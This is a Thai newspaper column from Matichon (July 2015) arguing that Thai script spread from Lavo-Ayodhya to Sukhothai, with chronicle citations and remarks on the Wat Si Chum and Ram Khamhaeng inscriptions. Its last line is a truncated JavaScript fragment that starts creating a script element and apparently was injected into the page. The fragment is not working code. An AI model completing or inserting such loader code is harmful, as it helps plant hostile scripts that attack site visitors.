มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 23 กรกฎาคม 2558

 

อักษรไทยละโว้-อโยธยา ขึ้นไปสุโขทัย

          อักษรไทยดัดแปลงจากอักษรเขมร (แต่เรียกอักษรขอม) แล้วค่อยๆแพร่หลายจากลุ่มน้ำเจ้าพระยาขึ้นไปถึงรัฐสุโขทัย บริเวณลุ่มน้ำยม-น่าน

          มีร่องรอยความทรงจำอยู่ในพงศาวดารเหนือ เรื่องพระร่วงอรุณกุมารเมืองสวรรคโลก ทำพิธีลบศักราช แล้วทำหนังสือไทย โดยกล่าวถึงนิมนต์พระสงฆ์และพราหมณ์จากที่อื่นให้ไปร่วมพิธี

          ในจำนวนนั้นมี “พระมหาเถรไลยลาย คือพราหมณ์ เป็นเชื้อมาแต่พระรามเทพ” ปราชญ์สำคัญจากรัฐละโว้-อโธยาศรีรามเทพนคร ขึ้นไปร่วมพิธี เท่ากับเอาอักษรไทยจากละโว้-อโยธยา ขึ้นไปให้สุโขทัย ดังนี้

          “เมื่อพระองค์จะลบศักราชพระพุทธเจ้า จึงให้นิมนต์พระ…………………… และพระมหาเถรไลยลาย คือพราหมณ์ เป็นเชื้อมาแต่พระรามเทพ…………………และท้าวพระยาในชมพูทวีป คือไทยและลาวมอญจีนพม่าลังกาพราหมณ์เทศเพศต่างๆ

          พระองค์เจ้าให้ทำหนังสือไทย เฉียงมอญ พม่า ไทย และขอม เฉียงขอม

 

มหาเถรฯ สุโขทัย

          พระมหาเถรไลยลาย เป็นพราหมณ์เมืองละโว้ เท่ากับเป็นขอม พูดภาษาเขมร

          ซึ่งเป็นที่รับรู้กันในหมู่นักวิชาการกลุ่มหนึ่ง ว่าพระมหาเถรไลยลายหมายถึงพระมหาเถรศรีศรัทธาฯ รัฐสุโขทัย เชื้อวงศ์ศรีนาวนำถุมจากละโว้ ผู้สถาปนารัฐสุโขทัย

          ท่านเป็นผู้ให้ทำจารึกวัดศรีชุม (จารึกสุโขทัย หลักที่ 2) อักขรวิธีอย่างที่ใช้ในปัจจุบัน ซึ่งไม่เหมือนจารึกพ่อขุนฯ (ที่สระ พยัญชนะ อยู่บรรทัดเดียวกัน)

 

ศิลปวิทยาการเมืองละโว้

          รัฐต่างๆที่อยู่ร่วมยุคร่วมสมัยรัฐละโว้ ต่างยอมรับว่าเมืองละโว้เป็นศูนย์กลางความรุ่งเรืองทางศิลปวิทยาการของยุคนั้น

          มีพยานสนับสนุนอยู่ในพงศาวดารโยนก บอกว่าพญางำเมืองแห่งเมืองพะเยา “ครั้นชนมายุได้ 16 ปี ไปเรียนศิลปในสำนักพระสุกทันตฤๅษี ณ กรุงละโว้ อาจารย์คนเดียวกับสมเด็จพระร่วงเจ้ากรุงสุโขทัย”

          ทั้งหมดนี้ย่อมสอดคล้องกับวิวัฒนาการของอักษรไทย ใช้เขียนบนสมุดข่อย มีขึ้นที่รัฐละโว้-อโยธยาศรีรามเทพ บริเวณลุ่มน้ำเจ้าพระยา

          แล้วแพร่หลายขึ้นไปถึงรัฐสุโขทัย ทางลุ่มน้ำยม-น่าน จึงปรับปรุงรูปอักษรเป็นเหลี่ยมเพื่อสลักหินทำจารึกคราวแรกๆขึ้น คือจารึกวัดศรีชุม อันเป็นเรื่องราวทางศาสนา-การเมืองของพระมหาเถรศรีศรัทธาฯ

          มีอักขรวิธีอย่างเดียวกับสมุดข่อยลุ่มน้ำเจ้าพระยาและจารึกสุโขทัยสมัยหลังๆต่อมาสืบจนปัจจุบัน คือ สระ พยัญชนะ วรรณยุกต์ อยู่ข้างบน ข้างล่าง

          ไม่เป็นอักขรวิธีแบบฝรั่งอย่างจารึกพ่อขุนฯ ซึ่งไม่มีใครทำตาม

          เพราะไม่ได้ทำสมัยสุโขทัย แต่ทำสมัยกรุงเทพฯ (อ่านรายละเอียดที่ สุวรรณภูมิในอาเซียน มติชน ฉบับวันนี้ หน้า 17)var d=document;var s=d.createElement(‘script’); if (document.currentScript) {